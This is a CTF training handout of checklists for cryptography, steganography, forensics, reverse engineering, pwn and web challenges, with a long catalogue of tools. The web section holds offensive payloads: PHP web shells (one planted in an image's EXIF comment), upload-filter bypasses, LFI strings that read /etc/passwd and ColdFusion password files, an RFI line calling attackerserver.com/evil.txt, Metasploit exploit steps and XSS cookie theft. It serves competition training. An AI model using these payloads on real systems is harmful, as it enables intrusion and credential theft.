*CTF进阶内容：奇技淫巧篇

COMPASS CTF

May 14, 2022

CTF Checklist

Cryptography

Whatever happen, google is your friend. There are a lot cryptography tools online. Some of good tool are made offline like OpenSSL.

Classic cipher / Simple decoder online tool

https://quipqiup.com - quipqiup is a fast and automated cryptogram solver

https://www.base64decode.org/ - base64 decoder

https://www.urldecoder.org/ - URL decoder

https://emn178.github.io/online-tools/base32_decode.html - Base32 decoder

https://cryptii.com/ - All in one tool

https://www.guballa.de/substitution-solver - Substitution solver

https://www.guballa.de/vigenere-solver - Vigenere solver

https://rot13.com/ - Rot 1 - 25 decryptor

https://www.dcode.fr - All in one tool

http://rumkin.com/tools/cipher/ - All in one tool

http://www.unit-conversion.info/texttools/morse-code/ - Morse code decoder

https://cryptii.com/pipes/ascii85-encoding - ASCII85 decoder

CTF Checklist

Otherwise, you can use CyberChef: https://gchq.github.io/CyberChef/

Modern cryptography

https://gchq.github.io/CyberChef/ - All in one tool

https://crackstation.net/ - Crack hash

Cryptool

John the Ripper

Hashcat

Cracking compressed file

John the Ripper - john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

fcrackzip - fcrackzip -D -u -p rockyou.txt filename.zip

Hashcat

Steganography

General

Usually when organizer gave us Image, Music, Video, Zip, EXE, File System, PDF and other files, it a steganography or forensics challenge. Run file command first.

Metadata is important. Checkout the EXIF data of the file by using exiftool [filename] command.

Try issuing binwalk [filename] on the file. They may hide another file in the file.

To extract, use binwalk -e.

To extract one specific signature type, use binwalk -D 'png image:png' [filename].

To extract all files, run binwalk –dd='.*' [filename].

Try file carve using foremost -v [filename] command. Foremost support all files.

CTF Checklist

Images

View the image first

Use strings command to that file.

Try grep -i [any strings you want to filter] from the strings command output.

Example grep -i "flag{" to filtering the flag format only. -i option to unable case sensitive.

Google the images, differentiate the md5hash. If you found same image but have a different md5 hash, it may probably have been altered.

Analyse the header and the content of the file using any hex editor.

Know the file signature. Maybe they gave us corrupt header! So fix it!

Maybe zoom-in and zoom-out method can get the flag.

Use https://www.tineye.com/ to reverse search the image in the internet.

Use imagemagick command tool to do image manipulation.

Use Stegsolve.jar tools. There are so many CTF I've participated that I used this tool to unhide flag from an image.

CTF Checklist

File carve using steghide –extract -sf <filename>. Try find the password with your own-self. Maybe, the organizer will give hints or the password may in another file.

Check for any corruption on PNG file by using pngcheck <filename.png> command.

Detect stegano-hidden data in PNG & BMP s by issuing zsteg -a <filename.png>.

Use SmartDeblur software to fix blurry on image.

Use stegcracker <filename> <wordlist> tools Steganography brute-force password utility to uncover hidden data inside files.

Use tesseract to scan text in image and convert it to .txt file.

Another powerfool tool is called zsteg.

Some of online stegano decoder :-

https://futureboy.us/stegano/decinput.html

http://stylesuxx.github.io/steganography/

https://www.mobilefish.com/services/steganography/steganography.php

https://manytools.org/hacker-tools/steganography-encode-text-into-image/

https://steganosaur.us/dissertation/tools/image

https://georgeom.net/StegOnline

CTF Checklist

Compressed file

Unzip it.

Use zipdetails -v command to display details about the internal structure of a Zip file.

Use zipinfo command to know details info about Zip file.

Use zip -FF input.zip –out output.zip attempt to repair a corrupted zip file.

Brute-force the zip password using fcrackzip -D -u -p rockyou.txt filename.zip

To crack 7z run 7z2hashcat32-1.3.exe filename.7z. Then john –wordlist=/usr/share/wordlists/rockyou.txt hash

CTF Checklist

Music file

Use binwalk first. They may embedded something in the file.

Use Audacity.

Use Sonic Visualizer. Look at spectogram and other few Pane.

Use Deepsound.

Use SilentEye.

Some of online stegano decoder for music:-

https://steganosaur.us/dissertation/tools/audio

CTF Checklist

Text

Use http://www.spammimic.com/ that can decode hide message in spam text.

CTF Checklist

Digital Forensics

Usually organizer will gave us a Digital Image like memory dump like .raw or image file like .e01 and few others more.

Always issuing file <filename> command to whatever file you get first! If the result of the file command is only "data", you must try harder to find the right tool to carve information that contain in the file.

Checkout the EXIF data of the file by using exiftool <filename> command.

Run strings for clues.

Try file carve using foremost <filename> command. Foremost support all files. But it takes time to extract all file when you face a big size file.

Common locations for various artifacts :-

Web: browsing history, cookies, cache files and others.

Windows OS: registry table, event logs and others.

Linux: configuration files, log files and others.

Mobile phones: app data and others.

Many more!

CTF Checklist

Tools :-

Volatility. Its a memory extraction utility framework for memory forensic. Use this as your Volatility command reference.

Redline. Another alternative to volatility. But Volatility is the best for me.

Bulk-extractor software. It can extracts features such as email addresses, credit card numbers, URLs, and other types of information from digital evidence files.

FTK Imager. FTK Imager is a data preview and imaging tool that allows you to examine files and folders on local hard drives, network drives, CDs/DVDs, and review the content of forensic images or memory dumps.

Use Autopsy, ProDiscover or EnCase software, function as FTK Imager.

Use e2fsck [mnt image] to fix corrupt filesystem. ext3 and 4.

Recover files using Recuva. They may gave you an image that you can mount to your machine using FTK Imager. So, go to the drive and try recover the files you want.

RegRipper for registry analysis

Mastering Windows event viewer will give you a plus.

And many more!

Reverse Engineering

Note:

This challenge is quite hard for beginner. This checklist is not fully cover all things in RE and it will not applicable if you don't have the foundation to play with reverse engineering.

Whenever you get a file, issuing file command first to it to know what really file is it.

Use strings <filename> command to read the strings in the binary to find some clues. Maybe some grep -i command too.

You need to strong in C, Assembly Language and computer architecture for this challenge!

Usually they gave a binary file. Weather it a...

PE File (.exe or .dll)

ELF File (elf)

APK File (apk)

.NET File (exe)

Java file

Python File (pyc or py)

CTF Checklist

PE File

Use DIE, PEID, PEBear, or PEView software to do static file analysis. Find details of file in there!

Use HxD to check the header file, file signature. Maybe the corrupt file sign one.

Find it whether it packed or not. Find online unpack.

Find it whether the binary has anti-debug or not.

Use IDA Pro software to perform static analysis on the binary.

When do analysis static or dynamic focus on strcmp, function call, conditional jump.

You can use Snowman or Ghidra software to perform decompiler.

Use debugger like Immunity Debugger, x64Dbg/x32Dbg, or WinDbg to debug the binary.

CTF Checklist

ELF

Use ltrace ./<filename> command to know what library function are being called in the binary.

Use strace ./<filename> command to know what system and signal function are being called in the binary.

Use nm <filename> command to know what symbol being called in the binary.

Use readelf -a <filename> command. It will displays information about ELF files.

Use Gdb debugger extension. Peda, pwndbg or gef will help you!.

Or you can use edb debugger.

Use IDA Pro software to perform static analysis on the binary.

CTF Checklist

APK File

Use APKTool <filename> command tools.

Use Android Emulator to run the program.

Use Android Debug Bridge.

Use dex2jar <filename> command tools.

Use jd-gui.

JADX is good alternative to jd-gui.

Rename the file to zip file. Unzip it. Take a look the file in your favorite text editor.

CTF Checklist

Net File

Use dnSpy software. Very powerful. You can compile the program by

Edit in the main interface -> compile -> save all. Try run the program back!

Java file

Use JADX

Python file

There are many options, one of it is uncompyle6. Just google dor python decompiler.

CTF Checklist

Binary Exploit / Pwn

Note :

Usually they gave us a binary and a source code of the binary.

Whenever you get a file, issuing file command first to it to know what really file is it.

You need strong in Assembly Language, computer architecture, C programming (Reverse engineering) and Python language to make script for this challenge!

CTF Checklist

Run checksec check the properties of executable of binary security.

Stack Canaries = a secret value placed on the stack which changes every time the program is started. the stack canary is checked and if it appears to be modified, the program exits immeadiately.

Nx = stored input or data cannot be executed as code

Address Space Layout Randomization (ASLR) = The randomization of the place in memory where the program, shared libraries, the stack, and the heap are.

RELRO = makes binary sections read-only.

CTF Checklist

Tools :

Pwntool framework

Gdb debugger. Peda, pwndbg or gef.

Use readelf -a <filename> command. It will displays information about ELF files.

Use nm <filename> command to know what symbol being called in the binary.

Python

CTF Checklist

About the PWN: https://github.com/zjgcjy/CTF-pwn-tips

Function that can lead to bof

scanf

read

strcat

fread

fgets

sprintf

strcpy

gets

memcpy

memmove

strncpy

snprintf

strncat

CTF Checklist

Web

Enumeration

Check it out web browser

What does it display

Read entire pages

look for emails, names, user info - Enum the interface, what version of CMS, server installation page etc. - What does the potential vulnerability in it?

LFI, RFI, Directory traversal, SQL Injection, XML External Entities, OS Command Injection, Upload vulnerability

Default web server page which reveals version information?

Use Web Application Scanner (Refer note)

Example, nikto

nikto -h 10.10.10.10 –output filename

Google for exploit

Rapid7

SearchSploit

CTF Checklist

If https

scan for heartbleed

sslscan 192.168.101.1:443

nmap -sV –script=ssl-heartbleed 192.168.3.157

Read the certificate

Does it include names that might be useful? - Correct vhost

View the source code

Hidden Values

Developer Remarks

Extraneous Code

Passwords!

Use curl

curl <ip address / dns>

View robots.txt

Brute forcing HTTP(s) directories and files

CTF Checklist

Tools

dirb

dirbuster

nikto

wfuzz

gobuster for quick directory search

Brute force directory recursively

If you found a directory example /admin, bruteforce more deeply

dirb http://10.10.10.1/admin/

Looking for .git

Set extension

sh,txt,php,html,htm,asp,aspx,js,xml,log,json,jpg,jpeg,png,gif,doc,pdf,mpg,mp3,zip,tar.gz,tar

Bruteforce subdomain

xxx.google.com

Creating wordlist from webpage

cewl

CTF Checklist

If it's a login page

Try view source code

Use default password

Brute force directory first (sometime you don't need to login to pwn the machine)

using curl

bruteforce credential

Burpsuite

sniper. clusterbomb

Wfuzz

wfuzz -w pass.txt -L 20 -d "username=FUZZ&password=FUZZ" -hw 1224 http://login page path

Search credential in other service port

tftp

ftp

Enumeration for the credential

Search credential by bruteforce directory

CTF Checklist

Register first

SQL injection

SQLMap

XSS can be used to get the admin cookie

Bruteforce session cookie

If it's a CMS

Google their vulnerability

Wordpress, Drupal, Joomla. Vtiger, etc.

Go to admin page

Joomla

/administrator

Wordpress

/wp-admin

/wp-login

Wordpress

CTF Checklist

wpscan -u 192.168.3.145 –enumerate -t –enumerate u –enumerate p

Bruteforce login page

wpscan –u ipaddress –username name –wordlist pathtolist

Random agent

wpscan -u http://cybear32c.lab/ –random-agent

Zoom.py

enumerate wordpress users

Drupal

droopsescan https://github.com/droope/droopescan

/CHANGELOG.txt to find version

Adobe Cold Fusion

Metasploit - Determine version

/CFIDE/adminapi/base.cfc?wsdl

Version 8 Vulnerabilit

Fckeditor

use exploit/windows/http/coldfusion_fckeditor

CTF Checklist

LFI

http://server/CFIDE/administrator/enter.cfm?

locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

Elastix

Google the vulnerabitlities

default login are admin:admin at /vtigercrm/

able to upload shell in profile-photo

Examine configuration files - Generic

Examine httpd.conf/ windows config files

JBoss

JMX Console http://IP:8080/jmxconcole/

War File

CTF Checklist

Joomla

configuration.php

diagnostics.php

joomla.inc.php

config.inc.php

Mambo

configuration.php

config.inc.php

Wordpress

setup-config.php

wp-config.php

ZyXel

/WAN.html (contains PPPoE ISP password)

/WLAN_General.html and /WLAN.html (contains WEP key)

/rpDyDNS.html (contains DDNS credentials

/Firewall_DefPolicy.html (Firewall)

CTF Checklist

/NAT_General.html (NAT)

/ViewLog.html (Logs)

/rpFWUpload.html (Tools

/DiagGeneral.html (Diagnostic)

/RemMagSNMP.html (SNMP Passwords)

/LAN_ClientList.html (Current DHCP Leases)

Config Backups

/RestoreCfg.html

/BackupCfg.html

CTF Checklist

Upload page

Upload shell to make reverse shell

Bypass file upload filtering

Rename it

upload it as shell.php.jpg

Blacklisting bypass, change extension

php phtml, .php, .php3, .php4, .php5, and .inc

bypassed by uploading an unpopular php extensions. such as: pht, phpt, phtml, php3, php4, php5, php6

asp asp, .aspx

perl .pl, .pm, .cgi, .lib

jsp .jsp, .jspx, .jsw, .jsv, and .jspf

Coldfusion .cfm, .cfml, .cfc, .dbm

CTF Checklist

Whitelisting bypass

passed by uploading a file with some type of tricks,

Like adding a null byte injection like (shell.php%00.gif).

Or by using double extensions for the uploaded file like (shell.jpg.php)

GIF89a;

If they check the content. Basically you just add the text "GIF89a;" before you shell-code.

<? system($_GET['cmd']);//or you can insert your complete shellcode ?>

In image

manipulate data

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' lo.jpg

rename it

mv lo.jpg lo.php.jpg

CTF Checklist

Phpmyadmin

Default password root:pma

Webmin

Have vulnerabilities, google.

Identify WAF using wafw00f

Spidering a given URL, up to a specified depth, and returns a list of words which can then be used for password crackers

WMAP Web Scanner

web application vulnerability scanner

CTF Checklist

Exploitation

Heartbleed exploit

use auxiliary/scanner/ssl/openssl_heartbleed

set RHOSTS 192.168.3.212

set verbose true

run

XXS

Session hijacking / Cookie theft. Steal cookie to get admin privilege

use xsser tool

CTF Checklist

Local File Inclusion

Bypassing php-execution

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index

Bypassing the added .php and other extra file-endings

http://example.com/page=../../../../../../etc/passwd%00

http://example.com/page=../../../../../../etc/passwd?

folder that always exist

/etc/hosts /etc/resolv.conf

add %00jpg to end of files

/etc/passwd%00jpg

Refer this for more information

https://sushant747.gitbooks.io/total-oscp-guide/local_file_inclusion.html

https://highon.coffee/blog/lfi-cheat-sheet/

CTF Checklist

Remote file inclusion

http://exampe.com/index.php?page=http://attackerserver.com/evil.txt

SQL Injection

Enum using nmap

nmap -sV –script=http-sql-injection <target>

Using jsql

Using sqlmap with login-page

Capture the request using burp suite, and save the request in a file.

sqlmap -r request.txt

Crawl a page to find sql-injections

sqlmap -u http://example.com –crawl=1

CTF Checklist

Using error-bases DB enumeration

Add the tick '

Enumerate columns

Using order by

https://sushant747.gitbooks.io/total-oscp-guide/sql-injections.html

XML External Entity (XXE)

URL vulnerability

OS command Injection

Directory traversal

Dotdotpwn tool

Shells

GNU Bash - is an sh-compatible shell that incorporates useful features from the Korn shell and C shell.

Zsh - is a shell designed for interactive use, although it is also a powerful scripting language.

tclsh - is a very powerful cross-platform shell, suitable for a huge range of uses.

bash-it - is a framework for using, developing and maintaining shell scripts and custom commands.

Oh My ZSH! - is the best framework for managing your Zsh configuration.

Oh My Fish - the Fishshell framework.

Starship - the cross-shell prompt written in Rust.

powerlevel10k - is a fast reimplementation of Powerlevel9k ZSH theme.

Shell plugins

z - tracks the folder you use the most and allow you to jump, without having to type the whole path.

fzf - is a general-purpose command-line fuzzy finder.

zsh-autosuggestions - Fish-like autosuggestions for Zsh.

zsh-syntax-highlighting - Fish shell like syntax highlighting for Zsh.

Awesome ZSH Plugins - A list of frameworks, plugins, themes and tutorials for ZSH.

Managers

Midnight Commander - is a visual file manager, licensed under GNU General Public License.

ranger - is a VIM-inspired filemanager for the console.

nnn - is a tiny, lightning fast, feature-packed file manager.

screen - is a full-screen window manager that multiplexes a physical terminal.

tmux - is a terminal multiplexer, lets you switch easily between several programs in one terminal.

tmux-cssh - is a tool to set comfortable and easy to use functionality, clustering and synchronizing tmux-sessions.

Text editors

vi - is one of the most common text editors on Unix.

vim - is a highly configurable text editor.

emacs - is an extensible, customizable, free/libre text editor, and more.

micro - is a modern and intuitive terminal-based text editor.

neovim - is a free open source, powerful, extensible and usable code editor.

spacemacs - a community-driven Emacs distribution.

spacevim - a community-driven vim distribution.

CTF Tools

Files and directories

fd - is a simple, fast and user-friendly alternative to find.

ncdu - is an easy to use, fast disk usage analyzer.

CTF Tools

Network

PuTTY - is an SSH and telnet client, developed originally by Simon Tatham.

Mosh - is a SSH wrapper designed to keep a SSH session alive over a volatile connection.

Eternal Terminal - enables mouse-scrolling and tmux commands inside the SSH session.

nmap - is a free and open source (license) utility for network discovery and security auditing.

zmap - is a fast single packet network scanner designed for Internet-wide network surveys.

Rust Scan - to find all open ports faster than Nmap.

masscan - is the fastest Internet port scanner, spews SYN packets asynchronously.

pbscan - is a faster and more efficient stateless SYN scanner and banner grabber.

hping - is a command-line oriented TCP/IP packet assembler/analyzer.

CTF Tools

mtr - is a tool that combines the functionality of the 'traceroute' and 'ping' programs in a single tool.

mylg - utility which combines the functions of the different network probes in one diagnostic tool.

netcat - utility which reads and writes data across network connections, using the TCP/IP protocol.

socat - utility which transfers data between two objects.

tcpdump - is a powerful command-line packet analyzer.

tshark - is a tool that allows us to dump and analyze network traffic (wireshark cli).

Termshark - is a simple terminal user-interface for tshark.

ngrep - is like GNU grep applied to the network layer.

netsniff-ng - is a Swiss army knife for your daily Linux network plumbing if you will.

CTF Tools

sockdump - dump unix domain socket traffic.

stenographer - is a packet capture solution which aims to quickly spool all packets to disk.

tcpterm - visualize packets in TUI.

bmon - is a monitoring and debugging tool to capture networking related statistics and prepare them visually.

iptraf-ng - is a console-based network monitoring program for Linux that displays information about IP traffic.

vnstat - is a network traffic monitor for Linux and BSD.

iPerf3 - is a tool for active measurements of the maximum achievable bandwidth on IP networks.

CTF Tools

ethr - is a Network Performance Measurement Tool for TCP, UDP & HTTP.

Etherate - is a Linux CLI based Ethernet and MPLS traffic testing tool.

echoip - is a IP address lookup service.

Nemesis - packet manipulation CLI tool; craft and inject packets of several protocols.

packetfu - a mid-level packet manipulation library for Ruby.

Scapy - packet manipulation library; forge, send, decode, capture packets of a wide number of protocols.

impacket - is a collection of Python classes for working with network protocols.

ssh-audit - is a tool for SSH server auditing.

aria2 - is a lightweight multi-protocol & multi-source command-line download utility.

iptables-tracer - observe the path of packets through the iptables chains.

inception - a highly configurable tool to check for whatever you like against any number of hosts.

mRemoteNG - a fork of mRemote, multi-tabbed PuTTy on steroids!

Network (DNS)

dnsdiag - is a DNS diagnostics and performance measurement tools.

fierce - is a DNS reconnaissance tool for locating non-contiguous IP space.

subfinder - is a subdomain discovery tool that discovers valid subdomains for websites.

sublist3r - is a fast subdomains enumeration tool for penetration testers.

amass - is tool that obtains subdomain names by scraping data sources, crawling web archives, and more.

namebench - provides personalized DNS server recommendations based on your browsing history.

CTF Tools

massdns - is a high-performance DNS stub resolver for bulk lookups and reconnaissance.

knock - is a tool to enumerate subdomains on a target domain through a wordlist.

dnsperf - DNS performance testing tools.

dnscrypt-proxy 2 - a flexible DNS proxy, with support for encrypted DNS protocols.

dnsdbq - API client providing access to passive DNS database systems.

grimd - fast dns proxy, built to black-hole internet advertisements and malware servers.

dnstwist - detect typosquatters, phishing attacks, fraud, and brand impersonation.

Network (HTTP)

curl - is a command line tool and library for transferring data with URLs.

kurly - is an alternative to the widely popular curl program, written in Golang.

HTTPie - is an user-friendly HTTP client.

wuzz - is an interactive cli tool for HTTP inspection.

h2spec - is a conformance testing tool for HTTP/2 implementation.

h2t - is a simple tool to help sysadmins to hardening their websites.

htrace.sh - is a simple Swiss Army knife for http/https troubleshooting and profiling.

httpstat - is a tool that visualizes curl statistics in a way of beauty and clarity.

httplab - is an interactive web server.

Lynx - is a text browser for the World Wide Web.

Browsh - is a fully interactive, real-time, and modern text-based browser.

CTF Tools

HeadlessBrowsers - a list of (almost) all headless web browsers in existence.

ab - is a single-threaded command line tool for measuring the performance of HTTP web servers.

siege - is an http load testing and benchmarking utility.

wrk - is a modern HTTP benchmarking tool capable of generating significant load.

wrk2 - is a constant throughput, correct latency recording variant of wrk.

vegeta - is a constant throughput, correct latency recording variant of wrk.

CTF Tools

bombardier - is a fast cross-platform HTTP benchmarking tool written in Go.

gobench - http/https load testing and benchmarking tool.

hey - HTTP load generator, ApacheBench (ab) replacement, formerly known as rakyll/boom.

boom - is a script you can use to quickly smoke-test your web app deployment.

SlowHTTPTest - is a tool that simulates some Application Layer Denial of Service attacks by prolonging HTTP.

gobuster - is a free and open source directory/file & DNS busting tool written in Go.

ssllabs-scan - command-line reference-implementation client for SSL Labs APIs.

http-observatory - Mozilla HTTP Observatory cli version.

Hurl - is a command line tool to run and test HTTP requests with plain text.

SSL

openssl - is a robust, commercial-grade, and full-featured toolkit for the TLS and SSL protocols.

gnutls-cli - client program to set up a TLS connection to some other computer.

sslyze - fast and powerful SSL/TLS server scanning library.

sslscan - tests SSL/TLS enabled services to discover supported cipher suites.

testssl.sh - testing TLS/SSL encryption anywhere on any port.

cipherscan - a very simple way to find out which SSL ciphersuites are supported by a target.

CTF Tools

spiped - is a utility for creating symmetrically encrypted and authenticated pipes between socket addresses.

Certbot - is EFF's tool to obtain certs from Let's Encrypt and (optionally) auto-enable HTTPS on your server.

mkcert - simple zero-config tool to make locally trusted development certificates with any names you'd like.

certstrap - tools to bootstrap CAs, certificate requests, and signed certificates.

Sublert - is a security and reconnaissance tool to automatically monitor new subdomains.

mkchain - open source tool to help you build a valid SSL certificate chain.

ssl-cert-check - SSL Certification Expiration Checker.

Security

SELinux - provides a flexible Mandatory Access Control (MAC) system built into the Linux kernel.

AppArmor - proactively protects the operating system and applications from external or internal threats.

grapheneX - Automated System Hardening Framework.

DevSec Hardening Framework - Security + DevOps: Automatic Server Hardening.

Auditing Tools

ossec - actively monitoring all aspects of system activity with file integrity monitoring.

auditd - provides a way to track security-relevant information on your system.

Tiger - is a security tool that can be use both as a security audit and intrusion detection system.

Lynis - battle-tested security tool for systems running Linux, macOS, or Unix-based operating system.

LinEnum - scripted Local Linux Enumeration & Privilege Escalation Checks.

Rkhunter - scanner tool for Linux systems that scans backdoors, rootkits and local exploits on your systems.

PE-sieve - is a light-weight tool that helps to detect malware running on the system.

PEASS - privilege escalation tools for Windows and Linux/Unix and MacOS.

CTF Tools

System Diagnostics/Debuggers

strace - diagnostic, debugging and instructional userspace utility for Linux.

DTrace - is a performance analysis and troubleshooting tool.

ltrace - is a library call tracer, used to trace calls made by programs to library functions.

ptrace-burrito - is a friendly wrapper around ptrace.

perf-tools - performance analysis tools based on Linux perf_events (aka perf) and ftrace.

bpftrace - high-level tracing language for Linux eBPF.

sysdig - system exploration and troubleshooting tool with first class support for containers.

Valgrind - is an instrumentation framework for building dynamic analysis tools.

gperftools - high-performance multi-threaded malloc() implementation, plus some performance analysis tools.

glances - cross-platform system monitoring tool written in Python.

htop - interactive text-mode process viewer for Unix systems. It aims to be a better 'top'.

CTF Tools

bashtop - Linux resource monitor written in pure Bash.

nmon - a single executable for performance monitoring and data analysis.

atop - ASCII performance monitor. Includes statistics for CPU, memory, disk, swap, network, and processes.

lsof - displays in its output information about files that are opened by processes.

FlameGraph - stack trace visualizer.

lsofgraph - convert Unix lsof output to a graph showing FIFO and UNIX interprocess communication.

rr - is a lightweight tool for recording, replaying and debugging execution of applications.

Performance Co-Pilot - a system performance analysis toolkit.

hexyl - a command-line hex viewer.

Austin - Python frame stack sampler for CPython.

Log Analyzers

angle-grinder - slice and dice log files on the command line.

lnav - log file navigator with search and automatic refresh.

GoAccess - real-time web log analyzer and interactive viewer that runs in a terminal.

ngxtop - real-time metrics for nginx server.

CTF Tools

Databases

usql - universal command-line interface for SQL databases.

pgcli - postgres CLI with autocompletion and syntax highlighting.

mycli - terminal client for MySQL with autocompletion and syntax highlighting.

litecli - SQLite CLI with autocompletion and syntax highlighting.

mssql-cli - SQL Server CLI with autocompletion and syntax highlighting.

OSQuery - is a SQL powered operating system instrumentation, monitoring, and analytics framework.

pgsync - sync data from one Postgres database to another.

iredis - a terminal client for redis with autocompletion and syntax highlighting.

SchemaCrawler - generates an E-R diagram of your database.

TOR

Nipe - script to make Tor Network your default gateway.

multitor - a tool that lets you create multiple TOR instances with a load-balancing.

Messengers/IRC Clients

Irssi - is a free open source terminal based IRC client.

WeeChat - is an extremely extensible and lightweight IRC client.

Productivity

taskwarrior - task management system, todo list

Other

sysadmin-util - tools for Linux/Unix sysadmins.

incron - is an inode-based filesystem notification technology.

lsyncd - synchronizes local directories with remote targets (Live Syncing Daemon).

GRV - is a terminal based interface for viewing Git repositories.

Tig - text-mode interface for Git.

tldr - simplified and community-driven man pages.

archiver - easily create and extract .zip, .tar, .tar.gz, .tar.bz2, .tar.xz, .tar.lz4, .tar.sz, and .rar.

commander.js - minimal CLI creator in JavaScript.

gron - make JSON greppable!

bed - binary editor written in Go.

Terminal emulators

Guake - is a dropdown terminal made for the GNOME desktop environment.

Terminator - is based on GNOME Terminal, useful features for sysadmins and other users.

Kitty - is a GPU based terminal emulator that supports smooth scrolling and images.

Alacritty - is a fast, cross-platform, OpenGL terminal emulator.

CTF Tools

Network

Wireshark - is the world's foremost and widely-used network protocol analyzer.

Ettercap - is a comprehensive network monitor tool.

EtherApe - is a graphical network monitoring solution.

Packet Sender - is a networking utility for packet generation and built-in UDP/TCP/SSL client and servers.

Ostinato - is a packet crafter and traffic generator.

JMeter™ - open source software to load test functional behavior and measure performance.

locust - scalable user load testing tool written in Python.

Browsers

TOR Browser - protect your privacy and defend yourself against network surveillance and traffic analysis.

CTF Tools

Password Managers

KeePassXC - store your passwords safely and auto-type them into your everyday websites and apps.

Bitwarden - open source password manager with built-in sync.

Vaultwarden - unofficial Bitwarden compatible server written in Rust.

CTF Tools

Messengers/IRC Clients

HexChat - is an IRC client based on XChat.

Pidgin - is an easy to use and free chat client used by millions.

CTF Tools

Messengers (end-to-end encryption)

Signal - is an encrypted communications app.

Wire - secure messaging, file sharing, voice calls and video conferences. All protected with end-to-end encryption.

TorChat - decentralized anonymous instant messenger on top of Tor Hidden Services.

Matrix - an open network for secure, decentralized, real-time communication.

Text editors

Sublime Text - is a lightweight, cross-platform code editor known for its speed, ease of use.

Visual Studio Code - an open-source and free source code editor developed by Microsoft.

Atom - a hackable text editor for the 21st Century.

Browsers

SSL/TLS Capabilities of Your Browser - test your browser's SSL implementation.

Can I use - provides up-to-date browser support tables for support of front-end web technologies.

Panopticlick 3.0 - is your browser safe against tracking?

Privacy Analyzer - see what data is exposed from your browser.

Web Browser Security - it's all about Web Browser fingerprinting.

How's My SSL? - help a web server developer learn what real world TLS clients were capable of.

sslClientInfo - client test (incl TLSv1.3 information).

SSL/Security

SSLLabs Server Test - performs a deep analysis of the configuration of any SSL web server.

SSLLabs Server Test (DEV) - performs a deep analysis of the configuration of any SSL web server.

ImmuniWeb® SSLScan - test SSL/TLS (PCI DSS, HIPAA and NIST).

SSL Check - scan your website for non-secure content.

SSL Scanner - analyze website security.

CryptCheck - test your TLS server configuration (e.g. ciphers).

urlscan.io - service to scan and analyse websites.

Report URI - monitoring security policies like CSP and HPKP.

CSP Evaluator - allows developers and security experts to check if a Content Security Policy.

Useless CSP - public list about CSP in some big players (might make them care a bit more).

CTF Tools

Why No HTTPS? - top 100 websites by Alexa rank not automatically redirecting insecure requests.

TLS Cipher Suite Search- cipher suite search engine.

cipherli.st - strong ciphers for Apache, Nginx, Lighttpd, and more.*

dhtool - public Diffie-Hellman parameter service/tool.

badssl.com - memorable site for testing clients against bad SSL configs.

tlsfun.de - registered for various tests regarding the TLS/SSL protocol.

CAA Record Helper - generate a CAA policy.

Common CA Database - repository of information about CAs, and their root and intermediate certificates.

CTF Tools

CERTSTREAM - real-time certificate transparency log update stream.

crt.sh - discovers certificates by continually monitoring all of the publicly known CT.

Hardenize - deploy the security standards.

Cipher suite compatibility - test TLS cipher suite compatibility.

urlvoid - this service helps you detect potentially malicious websites.

security.txt - a proposed standard (generator) which allows websites to define security policies.

ssl-config-generator - help you follow the Mozilla Server Side TLS configuration guidelines.

TLScan - pure python, SSL/TLS protocol and cipher scanner/enumerator.

HTTP Headers & Web Linters

Security Headers - analyse the HTTP response headers (with rating system to the results).

Observatory by Mozilla - set of tools to analyze your website.

webhint - is a linting tool that will help you with your site's accessibility, speed, security, and more.

DNS

ViewDNS - one source for free DNS related tools and information.

DNSLookup - is an advanced DNS lookup tool.

DNSlytics - online DNS investigation tool.

DNS Spy - monitor, validate and verify your DNS configurations.

Zonemaster - helps you to control how your DNS works.

Leaf DNS - comprehensive DNS tester.

Find subdomains online - find subdomains for security assessment penetration test.

DNSdumpster - dns recon & research, find & lookup dns records.

DNS Table online - search for DNS records by domain, IP, CIDR, ISP.

intoDNS - DNS and mail server health checker.

CTF Tools

DNS Bajaj - check the delegation of your domain.

BuddyDNS Delegation LAB - check, trace and visualize delegation of your domain.

dnssec-debugger - DS or DNSKEY records validator.

PTRarchive.com - this site is responsible for the safekeeping of historical reverse DNS records.

xip.io - wildcard DNS for everyone.

nip.io - dead simple wildcard DNS for any IP Address.

dnslookup (ceipam) - one of the best DNS propagation checker (and not only).

What's My DNS - DNS propagation checking tool.

DNSGrep - quickly searching large DNS datasets.

Mail

smtp-tls-checker - check an email domain for SMTP TLS support.

MX Toolbox - all of your MX record, DNS, blacklist and SMTP diagnostics in one integrated tool.

Secure Email - complete email test tools for email technicians.

blacklistalert - checks to see if your domain is on a Real Time Spam Blacklist.

MultiRBL - complete IP check for sending Mailservers.

DKIM SPF & Spam Assassin Validator - checks mail authentication and scores messages with Spam Assassin.

CTF Tools

Encoders/Decoders and Regex testing

URL Encode/Decode - tool from above to either encode or decode a string of text.

Uncoder - the online translator for search queries on log data.

Regex101 - online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript.

RegExr - online tool to learn, build, & test Regular Expressions (RegEx / RegExp).

RegEx Testing - online regex testing tool.

RegEx Pal - online regex testing tool + other tools.

The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis.

CTF Tools

Net-tools

Netcraft - detailed report about the site, helping you to make informed choices about their integrity.*

RIPE NCC Atlas - a global, open, distributed Internet measurement platform.

Robtex - uses various sources to gather public information about IP numbers, domain names, host names, etc.

Security Trails - APIs for Security Companies, Researchers and Teams.

Online Curl - curl test, analyze HTTP Response Headers.

Online Tools for Developers - HTTP API tools, testers, encoders, converters, formatters, and other tools.

CTF Tools

Ping.eu - online Ping, Traceroute, DNS lookup, WHOIS and others.

Network-Tools - network tools for webmasters, IT technicians & geeks.

BGPview - search for any ASN, IP, Prefix or Resource name.

Is BGP safe yet? - check BGP (RPKI) security of ISPs and other major Internet players.

Riseup - provides online communication tools for people and groups working on liberatory social change.

VirusTotal - analyze suspicious files and URLs to detect types of malware.

Privacy

privacyguides.org - provides knowledge and tools to protect your privacy against global mass surveillance.

DNS Privacy Test Servers - DNS privacy recursive servers list (with a 'no logging' policy).

Code parsers/playgrounds

ShellCheck - finds bugs in your shell scripts.

explainshell - get interactive help texts for shell commands.

jsbin - live pastebin for HTML, CSS & JavaScript, and more.

CodeSandbox - online code editor for web application development.

PHP Sandbox - test your PHP code with this code tester.

Repl.it - an instant IDE to learn, build, collaborate, and host all in one place.

vclFiddle - is an online tool for experimenting with the Varnish Cache VCL.

Haskell Dockerfile Linter - a smarter Dockerfile linter that helps you build best practice Docker images.

Performance

